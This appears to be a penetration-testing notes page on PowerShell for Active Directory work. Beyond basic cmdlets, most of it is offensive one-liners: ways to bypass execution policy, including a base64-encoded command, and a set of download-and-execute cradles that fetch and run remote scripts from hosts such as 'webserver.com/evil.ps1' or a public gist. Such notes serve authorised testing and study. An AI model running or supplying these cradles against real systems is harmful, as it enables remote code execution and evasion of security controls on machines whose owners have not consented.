> For the complete documentation index, see [llms.txt](https://alexdhital.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alexdhital.gitbook.io/pentesting-notes/active-directory-pentesting/powershell-theory.md).

# powershell theory

### Loading powershell module via dot sourcing

```powershell
. .\PowerView.ps1 # dot sourcing on current directory
```

### Powershell basic cmdlets and help system

```powershell
Get-Command -CommandType cmdlet # Lists all available cmdlets
Get-Help <cmdlet> # Display usage about a cmdlet
Get-Help <cmdlet> -Examples # Display example usage about a cmdlet
```

#### Note:

It is concluded that, use a single quote only to print the plain text but to print variables and evaluating other expressions in the string, use the double quote in PowerShell.

### Powershell bypass Execution policy

The execution policy is safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts. Here are sereral ways of bypassing.

```powershell
powershell -ExecutionPolicy Bypass
powershell -ep bypass
powershell -c <command>
------------------------------------------------------------------------------------------
$string = 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.71/test.bat")'
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string)) 
powershell -EncodedCommand $encodedCommand
------------------------------------------------------------------------------------------
$env:PSExecutionPolicyPreference="Bypass"
```

### Importing Modules

```powershell
Import-Module <module-path>
```

### LIsting all commands in a module

```powershell
Get-Command -Module <module-name>
```

### Download and execute files using powershell

```powershell
IEX (New-Object Net.Webclient).downloadstring("http://webserver.com/evil.ps1")

IEX (iwr 'http://webserver.com/evil.ps1')

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r # Uses internet explorer and prompts the user to download or save the file

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://webserver.com/evil.ps1',$false);$h.send();iex $h.responseText

$wr=[System.NET.WebRequest]::Create("http://192.168.100.71:8000/hehe.ps1");$r=$wr.GetResponse();IEX([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Import-Module bitstransfer;Start-BitsTransfer 'http://webserver.com/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

```

### Download and Execute using gist

First create a public gist with anything.txt as follows, enter the desired command inside .

```xml
<?xml version="1.0"?>
<command>
   <a>
      <execute>Get-Process</execute>
   </a>
</command>

```

Then,

{% code overflow="wrap" %}

```powershell
$a = New-Object System.Xml.XmlDocument;$a.Load("https://gist.githubusercontent.com/alexdhital/d2e1627948dd1d997e614f1cfd95a75d/raw/398b4adde13b271757364825a644846865a1089f/hehe.txt");$a.command.a.execute | iex
```

{% endcode %}